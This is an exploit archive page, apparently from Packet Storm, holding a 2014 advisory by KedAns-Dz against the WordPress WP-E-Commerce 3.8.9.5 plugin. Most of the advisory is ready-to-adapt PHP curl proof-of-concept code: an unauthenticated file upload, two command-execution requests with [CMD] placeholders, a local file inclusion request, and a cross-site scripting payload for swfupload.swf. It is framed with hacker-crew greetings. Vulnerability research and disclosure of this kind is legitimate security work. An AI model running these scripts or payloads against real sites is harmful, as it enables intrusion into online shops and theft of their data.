exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress E-Commerce 3.8.9.5 File Upload / XSS / CSRF / Code Execution

WordPress E-Commerce 3.8.9.5 File Upload / XSS / CSRF / Code Execution
Posted Jan 24, 2014
Authored by KedAns-Dz

WordPress WP-E-Commerce plugin version 3.8.9.5 suffers from local file inclusion, cross site scripting, cross site request forgery, file upload, and code execution vulnerabilities.

tags | exploit, local, vulnerability, code execution, xss, file inclusion, file upload, csrf
SHA-256 | edba02aaa935d1d5f1e5623a4cb8bd063c56bc9ce671b002045fc66a328f645e

WordPress E-Commerce 3.8.9.5 File Upload / XSS / CSRF / Code Execution

Change Mirror Download

###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
# *----------------------------* #
# K |....##...##..####...####....| . #
# h |....#...#........#..#...#...| A #
# a |....#..#.........#..#....#..| N #
# l |....###........##...#.....#.| S #
# E |....#.#..........#..#....#..| e #
# D |....#..#.........#..#...#...| u #
# . |....##..##...####...####....| r #
# *----------------------------* #
#-----------------------------------------#
#[ Copyright © 2014 | Dz Offenders Cr3w ]#
#-----------------------------------------#
###########################################
# >> D_x . Made In Algeria . x_Z << #
######################################################################
#
# [>] Title : Wordpress Plugin (wp-e-commerce v3.8.9.5) Multiple Vulnerabilities
#
# [>] Author : KedAns-Dz
# [+] E-mail : ked-h (@hotmail.com)
# [+] FaCeb0ok : fb.me/K3d.Dz
# [+] TwiTter : @kedans
#
# [#] Platform : PHP / WebApp
# [+] Cat/Tag : File Upload , Code Exec , File Include , Cross-Site Scripting , Object Inject
#
# [<] <3 <3 Greetings t0 Palestine <3 <3
# [>] ^_^ Greetings to 1337day Users/FAN's and Owners <3 *_* , i'm leaving 1337day
# [-] F-ck Hacking , LuV Exploiting .. Penetration-Testing rouls
#
######################################################################
##====[ PoC(1) : File Upload ]================================
#
# - CWE : CWE-616 , CWE-434
#
# <?php
# /*
# - file : save-data.functions.php
# - lines : 486.. 504
#
# line : 500
#
# move_uploaded_file( $_FILES['image']['tmp_name'], $new_image_path );
#
# */
#
# $headers = array("Content-Type: application/octet-stream",
# "Content-Disposition: form-data; name=\"image\"; file=\"k3d.gif\""); # gif name !
#
# $uploadfile="KedAns-Dz TesT !"; # U'r file content h3re !
#
# $ch = curl_init("http://[Target]/[path]/wp-e-commerce/wpsc-admin/includes/save-data.functions.php");
# curl_setopt($ch, CURLOPT_POST, true);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_POSTFIELDS, array('image'=>"@$uploadfile"));
# curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
# $postResult = curl_exec($ch);
# curl_close($ch);
# print "$postResult";
# ?>
#
##====[ PoC(2) : Remote Code ExeC ]===========================
#
# - CWE : CWE-94
#
# <?php
# /*
# - file : ajax.php
# - lines : 38 , 41 , 57
#
# $callback = "_wpsc_ajax_{$ajax_action}";
# call_user_func $result = call_user_func($callback);
# $ajax_action = str_replace('-', '_', $_REQUEST['wpsc_action']);
#
# */
#
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_URL, "http://[Target]/[path]/wp-e-commerce/wpsc-admin/ajax.php?wpsc_action=[CMD]");
# curl_setopt($ch, CURLOPT_HTTPGET, 1);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
#
##====[ PoC(3) : Remote Code ExeC ]===========================
#
# - CWE : CWE-94
#
# <?php
# /*
# - file : display-sales-logs.php
# - line : 23
#
# $controller = $_REQUEST['c'];
#
# */
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_URL, "http://[Target]/[path]/wp-e-commerce/wpsc-admin/display-sales-logs.php?c=[CMD]");
# curl_setopt($ch, CURLOPT_HTTPGET, 1);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
#
##=====[ PoC(4) Local File Include ]==========================
#
# - CWE : CWE-98
#
# <?php
# /*
# - file: misc.functions.php
# - lines : 280 .. 355
#
# * multiple bug in function imagecreatefromgif() , you can use any param's to exploit it.
#
# * param's : [ image_name , category_id , wpsc_request_image , productid , image_id ]
#
# */
#
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_URL, "http://[Target]/[path]/wp-e-commerce/wpsc-includes/misc.functions.php?image_name=[LFI/LFD]");
# curl_setopt($ch, CURLOPT_HTTPGET, 1);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
#
##====[ PoC(5) Remote XSS/XSRF ]==============================
#
# - http://1337day.com/exploit/20517
# - CVE :CVE-2012-2399 , CVE-2012-3414
# - CWE : CWE-352
#
# JS alert() Code : %22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28%27HaCked%20By%20KedAns-Dz%27%29;//
#
# http://[Target]/[path]/wp-e-commerce/wpsc-core/js/swfupload/swfupload.swf?movieName=[ JS Code ]
# http://[Target]/[path]/wp-e-commerce/wpsc-core/js/swfupload/swfupload.swf?buttonImageURL=[ Object/Image URL ]
#
###############################################################

####
# <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !>
# Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3
#---------------------------------------------------------------
# Greetings to my Homies : Indoushka , Caddy-Dz , Kalashinkov3 ,
# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic,
# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , &
# & KnocKout , Angel Injection , The Black Divels , kaMtiEz , &
# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, &
# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day &
# =( packetstormsecurity.org * metasploit.com * OWASP & OSVDB )=
####
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close